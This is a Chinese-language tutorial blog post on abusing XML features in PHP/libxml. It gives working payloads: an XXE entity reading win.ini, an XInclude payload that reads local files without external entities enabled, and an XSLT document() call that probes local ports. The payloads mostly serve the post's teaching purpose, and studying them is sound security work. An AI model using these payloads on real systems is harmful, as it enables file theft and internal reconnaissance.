天天看點

xinclude和xslt的利用

參考文獻: http://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/

環境

libxml:2.9.4
win10
           

Xinclude

用于合并

XML文檔

的通用機制,通過在“主”文檔中編寫包含标記來自動包含其他文檔或其他部分。生成的文檔成為單個複合

XML資訊集

XInclude

機制可用于合并

XML檔案

非XML文本檔案

中的内容。是xml标記語言中包含其他檔案的方式

<html  xmlns = "http://www.w3.org/1999/xhtml"
      xmlns:xi ="http://www.w3.org/2003/XInclude"> 
           

xi:include 元素

元素中的幾個屬性:

  • href — 對要包括的文檔的 URI 引用。
  • parse — 它的值可以是“xml”或“text”,用于定義如何包括指定的文檔(是作為 XML 還是作為純文字)。預設值是“xml”。
  • xpointer — 這是一個 XPointer,用于辨別要包括的 XML 文檔部分。如果作為文本包括 (parse=”text”),将忽略該屬性。
  • encoding — 作為文本包括時,該屬性提供所包括文檔的編碼提示資訊。
<xi:include href="test.xml" parse="text"/>
           

xi:fallback元素

  • 類似于try...except...,如果xinclude的内容出現問題,則顯示fallback的内容

    例如

<xi:include href="test.xml" parse="text"/>
      <xi:fallback>Sorry, the file is unavailable<xi:fallback>
</xi:include>
           

傳統的XXE檔案讀取

<?php
$xml = <<<EOD
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///c:/windows/win.ini">
]>
<x>&f;</x>
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
// load the XML string defined above
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
           
xinclude和xslt的利用

PS:目前的xml解析已預設不支援外部實體引入了

xinclude檔案讀取

<?php
#payload
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///d:/1.txt" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>
           

沒有打開外部實體引用選項,卻成功的讀取

d:/1.txt

的内容

xinclude和xslt的利用

PS:

xinclude

無需使用

LIBXML_NOENT

選項去開啟預設關閉的外部實體引用

xslt

XSL 指擴充樣式表語言,而XSLT 指 XSL 轉換,可以将

XML資料

轉換為另外的

XML

或其它格式,如

HTML網頁

純文字

利用php,将xml轉換為html

  • test.xml
<?xml version="1.0" encoding="utf-8"?>
<root>
    <name>Fruit</name>
    <fname>apple</fname>
    <description>red,delicious</description>    
</root>
           
  • test.xsl
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<xsl:for-each select="root">
  <xsl:value-of select="name" /><br/>
  <xsl:value-of select="fname" /><br/>
  <xsl:value-of select="description" /><br/>
  </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
           
  • test.php
<?php 
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
           
xinclude和xslt的利用

xsl端口探測

不需要開啟外部實體引入,隻需要使用

document()函數

<xsl:for-each select="root">
  <xsl:value-of select="name" /><br/>
  <xsl:value-of select="fname" /><br/>
  <xsl:value-of select="document('http://127.0.0.1:8080')" /><br/>
  </xsl:for-each>
           
xinclude和xslt的利用

PS:當這個端口開啟的時候,連這個端口開啟的什麼服務都知道